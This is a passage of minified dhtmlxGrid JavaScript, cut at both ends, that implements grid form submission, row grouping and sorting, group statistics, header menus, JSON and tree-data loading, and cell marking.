c!=\"string\")){a.name=this._input_mask.apply(this,c)}else{a.name=((this.globalBox||this.entBox).id||\"dhtmlXGrid\")+\"_\"+c}a.value=e;this.parentForm.appendChild(a);this.formInputs.push(a)};dhtmlXGridObject.prototype.createFormInputRow=function(e){var g=(this.globalBox||this.entBox).id;for(var c=0;c<this._cCount;c++){var a=this.cells3(e,c);if(((!this.FormSubmitOnlyChanged)||a.wasChanged())&&(!this._submit_cols||this._submit_cols[c])){this.createFormInput(this._input_mask?[g,e.idd,c]:(e.idd+\"_\"+c),a.getValue())}}};dhtmlXGridObject.prototype.formCreateInputCollection=function(){if(this.parentForm==false){return false}for(var a=0;a<this.formInputs.length;a++){this.parentForm.removeChild(this.formInputs[a])}this.formInputs=new Array();if(this.FormSubmitSerialization){this.createFormInput(\"serialized\",this.serialize())}else{if(this.FormSubmitOnlySelected){if(this.FormSubmitOnlyRowID){this.createFormInput(\"selected\",this.getSelectedId())}else{for(var a=0;a<this.selectedRows.length;a++){this.createFormInputRow(this.selectedRows[a])}}}else{if(this._submitAR){if(this._added_rows.length){this.createFormInput(\"rowsadded\",this._added_rows.join(\",\"))}if(this._deleted_rows.length){this.createFormInput(\"rowsdeleted\",this._deleted_rows.join(\",\"))}}this.forEachRow(function(c){if(this.getRowById(c)!==-1){this.createFormInputRow(this.rowsAr[c])}})}}};dhtmlXGridObject.prototype.detectParentFormPresent=function(){var a=false;var c=this.entBox;while(c&&c.tagName&&c!=document.body){if(c.tagName.toLowerCase()==\"form\"){a=c;break}else{c=c.parentNode}}return a};dhtmlXGridObject.prototype.unGroup=function(){if(!this._groups){return}this._dndProblematic=false;delete this._groups;delete this._gIndex;if(this._fake){this._mirror_rowsCol()}this.forEachRow(function(a){this.rowsAr[a].style.display=\"\"});this._reset_view();this.callEvent(\"onGridReconstructed\",[]);this.callEvent(\"onUnGroup\",[])};dhtmlXGridObject.prototype._mirror_rowsCol=function(){this._fake._groups=this._groups;this._fake._gIndex=this._gIndex;this.rowsBuffer=dhtmlxArray();for(var a=0;a<this.rowsCol.length;a++){if(!this.rowsCol[a]._cntr){this.rowsBuffer.push(this.rowsCol[a])}}this._fake.rowsBuffer=dhtmlxArray();for(var a=0;a<this._fake.rowsCol.length;a++){if(!this._fake.rowsCol[a]._cntr){this._fake.rowsBuffer.push(this._fake.rowsCol[a])}}};dhtmlXGridObject.prototype.groupBy=function(m,g){if(this._groups){this.unGroup()}this._dndProblematic=true;this._groups={};if(!g){g=[\"#title\"];for(var h=1;h<this._cCount;h++){g.push(\"#cspan\")}}this._gmask=document.createElement(\"TR\");this._gmask.origin=g;var l,e=0;for(var h=0;h<g.length;h++){if(g[h]==\"#cspan\"){l.colSpan=(parseInt(l.colSpan)||1)+1}else{l=document.createElement(\"TD\");l._cellIndex=h;if(this._hrrar[h]){l.style.display=\"none\"}l.className=\"group_row\";l.innerHTML=\"&nbsp;\";if(g[h]==\"#title\"){this._gmask._title=e}else{l.align=this.cellAlign[h]||\"left\"}this._gmask.appendChild(l);if(g[h].indexOf(\"#stat\")==0){this._gmask._math=true;l._counter=[this[\"_g_\"+g[h].replace(\"#\",\"\")],h,e]}e++}}for(var c in this._groups){this._groups[c]=this.undefined}this._gIndex=m;if(this._fake&&!this._realfake){this._fake._groups=[];this._fake._gIndex=this._gIndex}this._nextRow=function(o,a){var n=this.rowsCol[o+a];if(n&&(n.style.display==\"none\"||n._cntr)){return this._nextRow(o+a,a)}return n};if(!this.__sortRowsBG){this._key_events=dhtmlx.extend({},this._key_events);this._key_events.k38_0_0=function(){if(this.editor&&this.editor.combo){this.editor.shiftPrev()}else{var a=this.row.rowIndex;if(!a){return}var n=this._nextRow(a-1,-1);if(n){this.selectCell(n,this.cell._cellIndex,true)}}};this._key_events.k13_1_0=this._key_events.k13_0_1=function(){};this._key_events.k40_0_0=function(){if(this.editor&&this.editor.combo){this.editor.shiftNext()}else{var a=this.row.rowIndex;if(!a){return}var n=this._nextRow(a-1,1);if(n){this.selectCell(n,this.cell._cellIndex,true)}}};this.attachEvent(\"onFilterStart\",function(){if(this._groups){this._groups=this.undefined}return true});this.attachEvent(\"onFilterEnd\",function(){if(typeof this._gIndex!=\"undefined\"){this.groupBy(this._gIndex,this._gmask.origin)}});this.sortRows_bg=this.sortRows;this.sortRows=function(o,n,a){if(typeof(this._groups)==\"undefined\"){return this.sortRows_bg.apply(this,arguments)}n=n||\"str\";a=a||\"asc\";if(this.callEvent(\"onBeforeSorting\",[o,n,a])){if(typeof(this._groups)==\"undefined\"){return true}if(o==this._gIndex){this._sortByGroup(o,n,a)}else{this._sortInGroup(o,n,a)}this.setSortImgState(true,o,a);if(this._fake){this._mirror_rowsCol();this._fake._groups=[];this._fake._reset_view()}this.setSortImgState(true,o,a);this.callEvent(\"onAfterSorting\",[o,n,a])}return false};this.attachEvent(\"onClearAll\",function(){this.unGroup()});this.attachEvent(\"onBeforeRowDeleted\",function(o){if(!this._groups){return true}if(!this.rowsAr[o]){return true}var n=this.cells(o,this._gIndex).getValue();if(n===\"\"){n=\" \"}var a=this._groups[n];this._dec_group(a);return true});this.attachEvent(\"onAfterRowDeleted\",function(a){this.updateGroups()});this.attachEvent(\"onCheckbox\",function(o,a,n){this.callEvent(\"onEditCell\",[2,o,a,(n?1:0),(n?0:1)])});this.attachEvent(\"onXLE\",this.updateGroups);this.attachEvent(\"onColumnHidden\",this.hideGroupColumn);this.attachEvent(\"onEditCell\",function(C,s,y,x,D){if(!this._groups){return true}if(C==2&&x!=D&&y==this._gIndex){if(D===\"\"){D=\" \"}this._dec_group(this._groups[D]);var a=this.rowsAr[s];var A=this.rowsCol._dhx_find(a);var v=this._inc_group(x);var w=this.rowsCol[v];if(a==w){w=w.nextSibling}var q=a.parentNode;var u=a.rowIndex;q.removeChild(a);if(w){q.insertBefore(a,w)}else{q.appendChild(a)}this.rowsCol._dhx_insertAt(v,a);if(v<A){A++}this.rowsCol._dhx_removeAt(A,a);this._fixAlterCss()}else{if(C==2&&x!=D){this.updateGroups();this._updateGroupView(this._groups[this.cells(s,this._gIndex).getValue()||\" \"])}}return true});this.__sortRowsBG=true}this._groupExisting();if(this._hrrar){for(var h=0;h<this._hrrar.length;h++){if(this._hrrar[h]){this.hideGroupColumn(h,true)}}}this.callEvent(\"onGroup\",[]);if(this._ahgr||this._awdth){this.setSizes()}};dhtmlXGridObject.prototype._sortInGroup=function(e,n,g){var o=this._groups_get();o.reverse();for(var l=0;l<o.length;l++){var m=o[l]._cntr._childs;var q={};for(var h=0;h<m.length;h++){var r=this.cells3(m[h],e);q[m[h].idd]=r.getDate?r.getDate():r.getValue()}this._sortCore(e,n,g,q,m)}this._groups_put(o);this.setSizes();this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._sortByGroup=function(h,m,e){var c=this._groups_get();var g=[];for(var l=0;l<c.length;l++){c[l].idd=\"_sort_\"+l;g[\"_sort_\"+l]=c[l]._cntr.text}this._sortCore(h,m,e,g,c);this._groups_put(c);this.callEvent(\"onGridReconstructed\",[]);this.setSizes()};dhtmlXGridObject.prototype._inc_group=function(h,e,a){if(h===\"\"){h=\" \"}if(!this._groups[h]){this._groups[h]={text:h,row:this._addPseudoRow(),count:0,state:e?\"plus\":\"minus\"}}var g=this._groups[h];g.row._cntr=g;var c=this.rowsCol._dhx_find(g.row)+g.count+1;g.count++;if(!a){this._updateGroupView(g);this.updateGroups()}return c};dhtmlXGridObject.prototype._dec_group=function(a){if(!a){return}a.count--;if(a.count==0){a.row.parentNode.removeChild(a.row);this.rowsCol._dhx_removeAt(this.rowsCol._dhx_find(a.row));delete this._groups[a.text]}else{this._updateGroupView(a)}if(this._fake&&!this._realfake){this._fake._dec_group(this._fake._groups[a.text])}this.updateGroups();return true};dhtmlXGridObject.prototype._insertRowAt_gA=dhtmlXGridObject.prototype._insertRowAt;dhtmlXGridObject.prototype._insertRowAt=function(e,g,c){if(typeof(this._groups)!=\"undefined\"){if(this._realfake){var h=this._fake._bfs_cells(e.idd,this._gIndex).getValue()}else{if(this._bfs_cells3){var h=this._bfs_cells3(e,this._gIndex).getValue()}else{var h=this.cells3(e,this._gIndex).getValue()}}if(!h){h=\" \"}g=this._inc_group(h,e.style.display==\"none\")}var a=this._insertRowAt_gA(e,g,c);if(typeof(this._groups)!=\"undefined\"){this.expandGroup(h);this._updateGroupView(this._groups[h]);this.updateGroups()}return a};dhtmlXGridObject.prototype._updateGroupView=function(e){if(this._fake&&!this._realfake){return e.row.firstChild.innerHTML=\"&nbsp;\"}var a=this._gmask||this._fake._gmask;var c=\"<img style='margin-bottom:-4px' src='\"+this.imgURL+e.state+\".gif'> \";if(this.customGroupFormat){c+=this.customGroupFormat(e.text,e.count)}else{c+=e.text+\" ( \"+e.count+\" ) \"}e.row.childNodes[a._title].innerHTML=c};dhtmlXGridObject.prototype._addPseudoRow=function(h){var a=this._gmask||this._fake._gmask;var g=a.cloneNode(true);for(var c=0;c<g.childNodes.length;c++){g.childNodes[c]._cellIndex=a.childNodes[c]._cellIndex;if(this._realfake){g.childNodes[c].style.display=\"\"}}var e=this;g.onclick=function(l){if(!e.callEvent(\"onGroupClick\",[this._cntr.text])){return}if(e._fake&&e._realfake){e._fake._switchGroupState(e._fake._groups[this._cntr.text].row)}else{e._switchGroupState(this)}(l||event).cancelBubble=\"true\"};g.ondblclick=function(l){(l||event).cancelBubble=\"true\"};if(!h){if(_isKHTML){this.obj.appendChild(g)}else{this.obj.firstChild.appendChild(g)}this.rowsCol.push(g)}return g};dhtmlXGridObject.prototype._groups_get=function(){var c=[];this._temp_par=this.obj.parentNode;this._temp_par.removeChild(this.obj);var e=[];for(var g=this.rowsCol.length-1;g>=0;g--){if(this.rowsCol[g]._cntr){this.rowsCol[g]._cntr._childs=e;e=[];c.push(this.rowsCol[g])}else{e.push(this.rowsCol[g])}this.rowsCol[g].parentNode.removeChild(this.rowsCol[g])}return c};dhtmlXGridObject.prototype._groups_put=function(a){var h=this.rowsCol.stablesort;this.rowsCol=new dhtmlxArray(0);this.rowsCol.stablesort=h;for(var g=0;g<a.length;g++){var e=a[g]._cntr;this.obj.firstChild.appendChild(e.row);this.rowsCol.push(e.row);e.row.idd=null;for(var c=0;c<e._childs.length;c++){this.obj.firstChild.appendChild(e._childs[c]);this.rowsCol.push(e._childs[c])}delete e._childs}this._temp_par.appendChild(this.obj)};dhtmlXGridObject.prototype._groupExisting=function(c){if(!this.getRowsNum()){return}var c=[];this._temp_par=this.obj.parentNode;this._temp_par.removeChild(this.obj);var e=[];var g=this.rowsCol.length;for(var h=0;h<g;h++){var m=this.cells4(this.rowsCol[h].childNodes[this._gIndex]).getValue();this.rowsCol[h].style.display=\"\";if(!m){m=\" \"}if(!this._groups[m]){this._groups[m]={text:m,row:this._addPseudoRow(true),count:0,state:\"minus\"};var l=this._groups[m];l.row._cntr=l;this._groups[m]._childs=[];c.push(l.row)}this._groups[m].count++;this._groups[m]._childs.push(this.rowsCol[h]);this.rowsCol[h].parentNode.removeChild(this.rowsCol[h])}for(var h=0;h<c.length;h++){this._updateGroupView(c[h]._cntr)}this._groups_put(c);if(this._fake&&!this._realfake){this._mirror_rowsCol();this._fake._groups=[];this._fake._reset_view()}this.callEvent(\"onGridReconstructed\",[]);this.updateGroups()};dhtmlXGridObject.prototype._switchGroupState=function(g){var e=g._cntr;if(this._fake&&!this._realfake){e.state=this._fake._groups[g._cntr.text].row._cntr.state;this._fake._switchGroupState(this._fake._groups[g._cntr.text].row)}var c=this.rowsCol._dhx_find(e.row)+1;e.state=e.state==\"minus\"?\"plus\":\"minus\";var a=e.state==\"plus\"?\"none\":\"\";while(this.rowsCol[c]&&!this.rowsCol[c]._cntr){this.rowsCol[c].style.display=a;c++}this._updateGroupView(e);this.callEvent(\"onGroupStateChanged\",[e.text,(e.state==\"minus\")]);this.setSizes()};dhtmlXGridObject.prototype.expandGroup=function(a){if(this._groups[a].state==\"plus\"){this._switchGroupState(this._groups[a].row)}};dhtmlXGridObject.prototype.collapseGroup=function(a){if(this._groups[a].state==\"minus\"){this._switchGroupState(this._groups[a].row)}};dhtmlXGridObject.prototype.expandAllGroups=function(){for(var a in this._groups){if(this._groups[a]&&this._groups[a].state==\"plus\"){this._switchGroupState(this._groups[a].row)}}};dhtmlXGridObject.prototype.collapseAllGroups=function(){for(var a in this._groups){if(this._groups[a]&&this._groups[a].state==\"minus\"){this._switchGroupState(this._groups[a].row)}}};dhtmlXGridObject.prototype.hideGroupColumn=function(l,h){if(this._fake){return}var g=-1;var m=this._gmask.childNodes;for(var e=0;e<m.length;e++){if(m[e]._cellIndex==l){g=e;break}}if(g==-1){return}for(var c in this._groups){this._groups[c].row.childNodes[g].style.display=h?\"none\":\"\"}};dhtmlXGridObject.prototype.groupStat=function(c,g,e){e=this[\"_g_\"+(e||\"stat_total\")];var h=0;var a=0;this.forEachRowInGroup(c,function(l){h=e(h,this.cells(l,g).getValue()*1,a);a++});return h};dhtmlXGridObject.prototype.forEachRowInGroup=function(a,g){var h=this._groups[a].row.nextSibling;if(h){while(h&&!h._cntr){g.call(this,h.idd);h=h.nextSibling}}else{var e=this._groups[a]._childs;if(e){for(var c=0;c<e.length;c++){g.call(this,e[c].idd)}}}};dhtmlXGridObject.prototype.updateGroups=function(){if(!this._gmask||!this._gmask._math||this._parsing){return}var c=this._gmask.childNodes;for(var a=0;a<c.length;a++){if(c[a]._counter){this._b_processing.apply(this,c[a]._counter)}}};dhtmlXGridObject.prototype._b_processing=function(e,m,l){var n=0,g=0;if(!this._ecache[this.cellType[m]]){this.cells5({parentNode:{grid:this}},this.cellType[m])}for(var h=this.rowsCol.length-1;h>=0;h--){if(!this.rowsCol[h]._cntr){n=e(n,this.cells3(this.rowsCol[h],m).getValue()*1,g);g++}else{this.cells5(this.rowsCol[h].childNodes[l],this.cellType[m]).setValue(n);g=n=0}}};dhtmlXGridObject.prototype._g_stat_total=function(g,e,a){return g+e};dhtmlXGridObject.prototype._g_stat_min=function(g,e,a){if(!a){g=Infinity}return Math.min(g,e)};dhtmlXGridObject.prototype._g_stat_max=function(g,e,a){if(!a){g=-Infinity}return Math.max(g,e)};dhtmlXGridObject.prototype._g_stat_average=function(g,e,a){return(g*a+e)/(a+1)};dhtmlXGridObject.prototype._g_stat_count=function(g,e,a){return g++};dhtmlXGridObject.prototype._in_header_collapse=function(h,g,n){var a=h.tagName==\"TD\"?h:h.parentNode;g=a._cellIndexS;if(!this._column_groups){this._column_groups=[]}var m=n[1].split(\":\");var m=n[1].split(\":\");m=[m.shift(),m.join(\":\")];var l=parseInt(m[0]);h.innerHTML=n[0]+\"<img src='\"+this.imgURL+\"minus.gif' style='padding-right:10px;height:16px'/><span style='position:relative; top:-6px;'>\"+(m[1]||\"\")+\"<span>\";h.style.paddingBottom=\"0px\";var e=this;this._column_groups[g]=h.getElementsByTagName(\"IMG\")[0];this._column_groups[g].onclick=function(o){(o||event).cancelBubble=true;this._cstate=!this._cstate;for(var c=g+1;c<(g+l);c++){e.setColumnHidden(c,this._cstate)}if(this._cstate){if(a.colSpan&&a.colSpan>0){a._exp_colspan=a.colSpan;var s=Math.max(1,a.colSpan-l);if(!_isFF){for(var q=0;q<a.colSpan-s;q++){var r=document.createElement(\"TD\");if(a.nextSibling){a.parentNode.insertBefore(r,a.nextSibling)}else{a.parentNode.appendChild(r)}}}a.colSpan=s}e.callEvent(\"onColumnCollapse\",[g,this._cstate])}else{if(a._exp_colspan){a.colSpan=a._exp_colspan;if(!_isFF){for(var q=1;q<a._exp_colspan;q++){a.parentNode.removeChild(a.nextSibling)}}e.callEvent(\"onColumnCollapse\",[g,this._cstate])}}this.src=e.imgURL+(this._cstate?\"plus.gif\":\"minus.gif\");if(e.sortImg.style.display!=\"none\"){e.setSortImgPos()}}};dhtmlXGridObject.prototype.collapseColumns=function(a){if(!this._column_groups[a]||this._column_groups[a]._cstate){return}this._column_groups[a].onclick({})};dhtmlXGridObject.prototype.expandColumns=function(a){if(!this._column_groups[a]||!this._column_groups[a]._cstate){return}this._column_groups[a].onclick({})};dhtmlXGridObject.prototype.enableHeaderMenu=function(a){if(!window.dhtmlXMenuObject){return dhtmlx.message(\"You need to include DHTMLX Menu\")}if(!this._header_menu){var e=this._header_menu=new dhtmlXMenuObject();e.renderAsContextMenu();var c=this;e.attachEvent(\"onBeforeContextMenu\",function(){c._showHContext(a);return true});e.attachEvent(\"onClick\",function(q){var m=this.getCheckboxState(q);var n=c.hdr.rows[1];for(var h=0;h<n.cells.length;h++){var o=n.cells[h];if(o._cellIndexS==q){var g=o.colSpan||1;for(var l=0;l<g;l++){c.setColumnHidden(q*1+l,!m)}}}});this.attachEvent(\"onInit\",function(){e.addContextZone(this.hdr)});if(this.hdr.rows.length){this.callEvent(\"onInit\",[])}}};dhtmlXGridObject.prototype.getHeaderMenu=function(a){return this._header_menu};dhtmlXGridObject.prototype._hideHContext=function(){if(this._header_menu){this._header_menu.hide()}};dhtmlXGridObject.prototype._showHContext=function(g){if(typeof g==\"string\"){g=g.split(this.delim)}var h=0;var a=0;this._header_menu.clearAll();for(var e=0;e<this.hdr.rows[1].cells.length;e++){var n=this.hdr.rows[1].cells[e];if(!g||(g[h]&&g[h]!=\"false\")){if(n.firstChild&&n.firstChild.tagName==\"DIV\"){var m=n.firstChild.innerHTML}else{var m=n.innerHTML}m=m.replace(/<[^>]*>/gi,\"\");var l=!(this.isColumnHidden(h)||(this.getColWidth(h)==0));this._header_menu.addCheckbox(\"child\",this._header_menu.topId,a,h,m,l);a++}h+=(n.colSpan||1)}};dhtmlXGridObject.prototype._process_json_row=function(h,l){h._attrs=l;for(var e=0;e<h.childNodes.length;e++){h.childNodes[e]._attrs={}}if(l.userdata){for(var c in l.userdata){this.setUserData(h.idd,c,l.userdata[c])}}l=this._c_order?this._swapColumns(l.data):l.data;for(var g=0;g<l.length;g++){if(typeof l[g]==\"object\"&&l[g]!=null){h.childNodes[g]._attrs=l[g];if(l[g].type){h.childNodes[g]._cellType=l[g].type}l[g]=l[g].value}}this._fillRow(h,l);return h};dhtmlXGridObject.prototype._process_js_row=function(l,m){l._attrs=m;for(var g=0;g<l.childNodes.length;g++){l.childNodes[g]._attrs={}}if(m.userdata){for(var e in m.userdata){this.setUserData(l.idd,e,m.userdata[e])}}var c=[];for(var h=0;h<this.columnIds.length;h++){c[h]=m[this.columnIds[h]];if(typeof c[h]==\"object\"&&c[h]!=null){l.childNodes[h]._attrs=c[h];if(c[h].type){l.childNodes[h]._cellType=c[h].type}c[h]=c[h].value}if(!c[h]&&c[h]!==0){c[h]=\"\"}}this._fillRow(l,c);return l};dhtmlXGridObject.prototype.updateFromJSON=function(a,g,c,e){if(typeof g==\"undefined\"){g=true}this._refresh_mode=[true,g,c];this.load(a,e,\"json\")},dhtmlXGridObject.prototype._refreshFromJSON=function(e){if(this._f_rowsBuffer){this.filterBy(0,\"\")}reset=false;if(window.eXcell_tree){eXcell_tree.prototype.setValueX=eXcell_tree.prototype.setValue;eXcell_tree.prototype.setValue=function(u){var s=this.grid._h2.get[this.cell.parentNode.idd];if(s&&this.cell.parentNode.valTag){this.setLabel(u)}else{this.setValueX(u)}}}var q=this.cellType._dhx_find(\"tree\");var h=e.parent||0;var m={};if(this._refresh_mode[2]){if(q!=-1){this._h2.forEachChild(h,function(r){m[r.id]=true},this)}else{this.forEachRow(function(r){m[r]=true})}}var o=e.rows;for(var g=0;g<o.length;g++){var n=o[g];var a=n.id;m[a]=false;if(this.rowsAr[a]&&this.rowsAr[a].tagName!=\"TR\"){if(this._h2){this._h2.get[a].buff.data=n}else{this.rowsBuffer[this.getRowIndex(a)].data=n}this.rowsAr[a]=n}else{if(this.rowsAr[a]){this._process_json_row(this.rowsAr[a],n,-1);this._postRowProcessing(this.rowsAr[a],true)}else{if(this._refresh_mode[1]){var l={idd:a,data:n,_parser:this._process_json_row,_locator:this._get_json_data};var c=this.rowsBuffer.length;if(this._refresh_mode[1]==\"top\"){this.rowsBuffer.unshift(l);c=0}else{this.rowsBuffer.push(l)}if(this._h2){reset=true;(this._h2.add(a,h)).buff=this.rowsBuffer[this.rowsBuffer.length-1]}this.rowsAr[a]=n;n=this.render_row(c);this._insertRowAt(n,c?-1:0)}}}}if(this._refresh_mode[2]){for(a in m){if(m[a]&&this.rowsAr[a]){this.deleteRow(a)}}}this._refresh_mode=null;if(window.eXcell_tree){eXcell_tree.prototype.setValue=eXcell_tree.prototype.setValueX}if(reset){this._renderSort()}if(this._f_rowsBuffer){this._f_rowsBuffer=null;this.filterByAll()}},dhtmlXGridObject.prototype._process_js=function(a){return this._process_json(a,\"js\")},dhtmlXGridObject.prototype._parseHeadJson=function(r){if(!r.head||!r.head.length){return}var a=r.head;var g=r.settings;var m=\"setInitWidths\";var o=false;if(g&&g.colwidth==\"%\"){m=\"setInitWidthsP\"}if(g&&g.splitat==\"%\"){o=g.splitat}if(this.hdr.rows.length>0){this.clearAll(true)}var n=[[],[],[],[],[],[],[]];var q=[\"value\",\"width\",\"type\",\"align\",\"sort\",\"hidden\",\"id\"];var u=[\"\",m,\"setColTypes\",\"setColAlign\",\"setColSorting\",\"\",\"setColumnIds\"];for(var l=0;l<a.length;l++){for(var h=0;h<q.length;h++){n[h].push(a[l][q[h]])}}this.setHeader(n[0]);for(var l=0;l<u.length;l++){if(u[l]){this[u[l]](n[l].join(this.delim))}}for(var l=0;l<a.length;l++){var s=a[l].options;if(a[l].options){if(this.cellType[l]==\"clist\"){this.registerCList(l,s)}else{var c=this.getCombo(l);for(var h=0;h<s.length;h++){c.put(s[h].id,s[h].value)}}}}this.init();var e=n[5].join(this.delim);if(this.setColHidden&&e.replace(/,/g,\"\")!=\"\"){this.setColHidden(e)}if((o)&&(this.splitAt)){this.splitAt(o)}};dhtmlXGridObject.prototype._process_json=function(data,mode){this._parsing=true;try{var data=data.responseText||data;if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data+\";\");data=dhtmlx.temp}}catch(e){dhx4.callEvent(\"onLoadXMLError\",[\"Incorrect JSON\",(data.xmlDoc||data),this]);data={rows:[]}}if(this._refresh_mode){return this._refreshFromJSON(data)}if(data.head){this._parseHeadJson(data)}var cr=parseInt(data.pos||0);var total=parseInt(data.total_count||0);var reset=false;if(total){if(!this.rowsBuffer[total-1]){if(this.rowsBuffer.length){reset=true}this.rowsBuffer[total-1]=null}if(total<this.rowsBuffer.length){this.rowsBuffer.splice(total,this.rowsBuffer.length-total);reset=true}}var userdata=mode===\"js\"?data.userdata:data;for(var key in userdata){if(mode===\"js\"||key!=\"rows\"){this.setUserData(\"\",key,userdata[key])}}if(mode==\"js\"&&data.collections){for(var colkey in data.collections){var index=this.getColIndexById(colkey);var colrecs=data.collections[colkey];if(index!==window.undefined){if(this.cellType[index]==\"clist\"){colplaindata=[];for(var j=0;j<colrecs.length;j++){colplaindata.push(colrecs[j].label)}this.registerCList(index,colplaindata)}else{var combo=this.getCombo(index);for(var j=0;j<colrecs.length;j++){combo.put(colrecs[j].value,colrecs[j].label)}}}}}if(this.isTreeGrid()){return this._process_tree_json(data,null,null,mode)}if(mode==\"js\"){if(data.data){data=data.data}for(var i=0;i<data.length;i++){if(this.rowsBuffer[i+cr]){continue}var row=data[i];var id=row.id||(i+1);this.rowsBuffer[i+cr]={idd:id,data:row,_parser:this._process_js_row,_locator:this._get_js_data};this.rowsAr[id]=data[i]}}else{for(var i=0;i<data.rows.length;i++){if(this.rowsBuffer[i+cr]){continue}var id=data.rows[i].id;this.rowsBuffer[i+cr]={idd:id,data:data.rows[i],_parser:this._process_json_row,_locator:this._get_json_data};this.rowsAr[id]=data.rows[i]}}this.callEvent(\"onDataReady\",[]);if(reset&&this._srnd){var h=this.objBox.scrollTop;this._reset_view();this.objBox.scrollTop=h}else{this.render_dataset()}this._parsing=false};dhtmlXGridObject.prototype._get_json_data=function(c,a){if(typeof c.data[a]==\"object\"){return c.data[a].value}else{return c.data[a]}};dhtmlXGridObject.prototype._process_tree_json=function(g,h,c,m){this._parsing=true;var a=false;if(!h){this.render_row=this.render_row_tree;a=true;h=g;c=h.parent||0;if(c==\"0\"){c=0}if(!this._h2){this._h2=this._createHierarchy()}if(this._fake){this._fake._h2=this._h2}}if(m==\"js\"){if(h.data&&!c){g=h.data}if(h.rows){h=h.rows}for(var e=0;e<h.length;e++){var n=h[e].id;var l=this._h2.add(n,c);l.buff={idd:n,data:h[e],_parser:this._process_js_row,_locator:this._get_js_data};if(h[e].open){l.state=\"minus\"}this.rowsAr[n]=l.buff;this._process_tree_json(h[e],h[e],n,m)}}else{if(h.rows){for(var e=0;e<h.rows.length;e++){var n=h.rows[e].id;var l=this._h2.add(n,c);l.buff={idd:n,data:h.rows[e],_parser:this._process_json_row,_locator:this._get_json_data};if(h.rows[e].open){l.state=\"minus\"}this.rowsAr[n]=l.buff;this._process_tree_json(h.rows[e],h.rows[e],n,m)}}}if(a){if(c!=0){this._h2.change(c,\"state\",\"minus\")}this._updateTGRState(this._h2.get[c]);this._h2_to_buff();this.callEvent(\"onDataReady\",[]);if(c!=0&&(this._srnd||this.pagingOn)){this._renderSort()}else{this.render_dataset()}if(this._slowParse===false){this.forEachRow(function(o){this.render_row_tree(0,o)})}this._parsing=false;if(c!=0&&!this._srnd){this.callEvent(\"onOpenEnd\",[c,1])}}};dhtmlXGridObject.prototype.enableMarkedCells=function(a){this.markedRowsArr=new dhtmlxArray(0);this.markedCellsArr=new Array(0);this.lastMarkedRow=null;this.lastMarkedColumn=null;this.markedCells=true;this.lastMarkMethod=0;if(arguments.length>0){if(!dhx4.s2b(a)){this.markedCells=false}}};dhtmlXGridObject.prototype.doMark=function(e,m){var l=e.parentNode.idd;this.setActive(true);if(!l){return}this.editStop();this.cell=e;this.row=e.parentNode;var o=e._cellIndex;if(!m){m=0}if(m==0){this.unmarkAll()}else{if(m==1){if(this.lastMarkedRow){var c=Math.min(this.getRowIndex(l),this.getRowIndex(this.lastMarkedRow));var n=Math.max(this.getRowIndex(l),this.getRowIndex(this.lastMarkedRow));var a=Math.min(o,this.lastMarkedColumn);var q=Math.max(o,this.lastMarkedColumn);for(var h=c;h<n+1;h++){for(var g=a;g<q+1;g++){this.mark(this.getRowId(h),g,true)}}}}else{if(m==2){if(this.markedRowsArr._dhx_find(l)!=-1){for(var r=0;r<this.markedCellsArr[l].length;r++){if(this.markedCellsArr[l][r]==o){this.mark(l,o,false);return true}}}}}}if(!this.markedCellsArr[l]){this.markedCellsArr[l]=new dhtmlxArray(0)}if(m!=1){this.mark(l,o)}this.moveToVisible(this.cells(l,o).cell);this.lastMarkedRow=l;this.lastMarkedColumn=o;this.lastMarkMethod=m};dhtmlXGridObject.prototype.mark=function(e,c,g){if(arguments.length>2){if(!dhx4.s2b(g)){this.cells(e,c).cell.className=this.cells(e,c).cell.className.replace(/cellselected/g,\"\");if(this.markedRowsArr._dhx_find(e)!=-1){var a=this.markedCellsArr[e]._dhx_find(c);if(a!=-1){this.markedCellsArr[e]._dhx_removeAt(a);if(this.markedCellsArr[e].length==0){this.markedRowsArr._dhx_removeAt(this.markedRowsArr._dhx_find(e))}this.callEvent(\"onCellUnMarked\",[e,c])}}return true}}this.cells(e,c).cell.className+=\" cellselected\";if(this.markedRowsArr._dhx_find(e)==-1){this.markedRowsArr[this.markedRowsArr.length]=e}if(!this.markedCellsArr[e]){this.markedCellsArr[e]=new dhtmlxArray(0)}if(this.markedCellsArr[e]._dhx_find(c)==-1){this.markedCellsArr[e][this.markedCellsArr[e].length]=c;this.callEvent(\"onCellMarked\",[e,c])}};dhtmlXGridObject.prototype.unmarkAll=function(){if(this.markedRowsArr){for(var a=0;a<this.markedRowsArr.length;a++){var e=this.markedRowsArr[a];if(this.rowsAr[e]){for(var c=0;c<this.markedCellsArr[e].length;c++){this.callEvent(\"onCellUnMarked\",[e,this.markedCellsArr[e][c]]);this.cells(e,this.markedCellsArr[e][c]).cell.className=this.cells(e,this.markedCellsArr[e][c]).cell.className.replace(/cellselected/g,\"\")}}}this.markedRowsArr=new dhtmlxArray(0);this.markedCellsArr=new Array(0)}return true};dhtmlXGridObject.prototype.getMarked=function(){var e=new Array();if(this.markedRowsArr){for(var a=0;a<this.markedRowsArr.length;a++){var g=this.markedRowsArr[a];for(var c=0;c<this.markedCellsArr[g].length;c++){e[e.length]=[g,this.markedCellsArr[g][c]]}}}return e};function eXcell_math(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.grid.editor=new eXcell_ed(this.cell);this.grid.editor.fix_self=true;this.grid.editor.getValue=this.cell.original?(function(){return this.cell.original}):this.getValue;this.grid.editor.setValue=this.setValue;this.grid.editor.edit()};this.isDisabled=function(){return !this.grid._mathEdit};this.setValue=function(c){c=this.grid._compileSCL(c,this.cell,this.fix_self);if(this.grid._strangeParams[this.cell._cellIndex]){this.grid.cells5(this.cell,this.grid._strangeParams[this.cell._cellIndex]).setValue(c)}else{this.setCValue(c);this.cell._clearCell=false}};this.getValue=function(){if(this.grid._strangeParams[this.cell._cellIndex]){return this.grid.cells5(this.cell,this.grid._strangeParams[this.cell._cellIndex]).getValue()}return this.cell.innerHTML}}eXcell_math.prototype=new eXcell;dhx4.attachEvent(\"onGridCreated\",function(a){a._mat_links={};a._aggregators=[];a.attachEvent(\"onClearAll\",function(){this._mat_links={};this._aggregators=[]});a.attachEvent(\"onCellChanged\",function(m,l){if(this._mat_links[m]){var c=this._mat_links[m][l];if(c){for(var h=0;h<c.length;h++){if(c[h].parentNode){this.cells5(c[h]).setValue(this._calcSCL(c[h]))}}}}if(!this._parsing&&this._aggregators[l]){var g=this._h2.get[m].parent.id;if(g!=0){var 